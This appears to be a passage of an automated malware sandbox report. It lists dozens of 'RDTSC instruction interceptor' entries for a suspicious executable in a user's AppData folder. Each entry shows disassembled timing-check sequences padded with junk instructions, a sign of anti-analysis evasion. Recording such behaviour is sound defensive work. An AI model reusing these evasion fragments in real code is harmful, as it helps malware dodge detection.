Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5695E7 second address: 5695F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5695F3 second address: 56960D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC91259405h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56A692 second address: 56A6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FBC9118B8AAh 0x00000010 popad 0x00000011 js 00007FBC9118B8ACh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56A6B0 second address: 56A74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, dword ptr [ebp+122D3A4Ch] 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FBC912593F8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000019h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d jmp 00007FBC91259406h 0x00000032 mov dword ptr fs:[00000000h], esp 0x00000039 push 00000000h 0x0000003b push ebx 0x0000003c call 00007FBC912593F8h 0x00000041 pop ebx 0x00000042 mov dword ptr [esp+04h], ebx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc ebx 0x0000004f push ebx 0x00000050 ret 0x00000051 pop ebx 0x00000052 ret 0x00000053 mov edi, 11109CBEh 0x00000058 mov eax, dword ptr [ebp+122D07DDh] 0x0000005e movzx ebx, dx 0x00000061 or dword ptr [ebp+122D26CFh], edi 0x00000067 push FFFFFFFFh 0x00000069 xor dword ptr [ebp+1244A7D8h], esi 0x0000006f or edi, dword ptr [ebp+122D37C4h] 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 jng 00007FBC912593F6h 0x0000007f pushad 0x00000080 popad 0x00000081 popad 0x00000082 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56A74F second address: 56A76D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56A76D second address: 56A774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56B6E7 second address: 56B6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57098E second address: 570996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56EA50 second address: 56EA54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56EB0F second address: 56EB33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 jnp 00007FBC91259417h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBC91259405h 0x00000014 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 56EB33 second address: 56EB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 570B87 second address: 570B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 570B8B second address: 570B9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 570C70 second address: 570C7A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBC912593FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 573AD0 second address: 573AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 573AD4 second address: 573ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 572DE4 second address: 572DEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 574988 second address: 57498E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 575873 second address: 57588B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBC9118B8ADh 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57588B second address: 575895 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBC912593FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57681B second address: 576846 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBC9118B8ADh 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 576846 second address: 576850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBC912593F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5769B1 second address: 5769BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBC9118B8A6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5769BB second address: 5769C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F2AA second address: 57F2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FBC9118B8A6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F69D second address: 57F6A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBC912593F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F6A7 second address: 57F6C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC9118B8B2h 0x00000007 jp 00007FBC9118B8A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F6C7 second address: 57F6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F6CD second address: 57F6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F6D1 second address: 57F6DE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F6DE second address: 57F712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007FBC9118B8B8h 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FBC9118B8AEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 57F712 second address: 57F717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585CFD second address: 585D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585D01 second address: 585D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585DC8 second address: 585E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 jne 00007FBC9118B8A8h 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007FBC9118B8ABh 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FBC9118B8B1h 0x0000002a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F2A second address: 585F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F2F second address: 585F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F35 second address: 585F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F39 second address: 585F59 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBC9118B8B0h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F59 second address: 585F7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FBC912593FDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jl 00007FBC912593F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 585F7D second address: 585F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5887FA second address: 5887FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D4CB second address: 58D4D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D4D1 second address: 58D4DE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBC912593F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C14F second address: 58C15B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBC9118B8A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C15B second address: 58C160 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C160 second address: 58C181 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC9118B8B7h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C181 second address: 58C188 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C87A second address: 58C880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C880 second address: 58C890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBC912593FBh 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C890 second address: 58C896 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C896 second address: 58C89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C89A second address: 58C8A4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBC9118B8A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C8A4 second address: 58C8AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C9F8 second address: 58C9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58C9FC second address: 58CA0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FBC912593FCh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58CFD0 second address: 58CFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8B4h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58CFED second address: 58CFF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58CFF3 second address: 58D047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8B7h 0x00000009 popad 0x0000000a jmp 00007FBC9118B8B0h 0x0000000f popad 0x00000010 js 00007FBC9118B8CCh 0x00000016 je 00007FBC9118B8BAh 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D19B second address: 58D1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D1A1 second address: 58D1AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC9118B8A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D300 second address: 58D306 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D306 second address: 58D30C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 58D30C second address: 58D35C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBC912593FCh 0x00000008 jmp 00007FBC91259403h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007FBC91259422h 0x00000015 pushad 0x00000016 jmp 00007FBC91259408h 0x0000001b js 00007FBC912593F6h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 pushad 0x00000025 push eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5915CE second address: 5915D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5920E9 second address: 5920F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5920F5 second address: 5920F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5920F9 second address: 59212C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259403h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FBC91259405h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59212C second address: 592138 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FBC9118B8A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 592138 second address: 59214A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBC912593FEh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 592567 second address: 59256B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 523A0A second address: 523A0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 523A0E second address: 523A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59998F second address: 5999A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBC912593F6h 0x0000000a pop ecx 0x0000000b jmp 00007FBC912593FEh 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5999A8 second address: 5999B3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FBC9118B8A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59AF3B second address: 59AF59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC91259405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59AF59 second address: 59AF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jng 00007FBC9118B8AAh 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59AF6F second address: 59AF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59FE49 second address: 59FE51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59FE51 second address: 59FE56 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 59FF97 second address: 59FF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0105 second address: 5A012F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBC912593FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBC91259406h 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0439 second address: 5A043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A043D second address: 5A0443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0443 second address: 5A044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0599 second address: 5A059D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0A64 second address: 5A0A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBC9118B8B6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0A7E second address: 5A0A84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0BC7 second address: 5A0BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007FBC9118B8B5h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A0BE3 second address: 5A0BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FBC912593F6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingIJEGHJECFC.exe	RDTSC instruction interceptor: First address: 5A2820 second address: 5A282D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
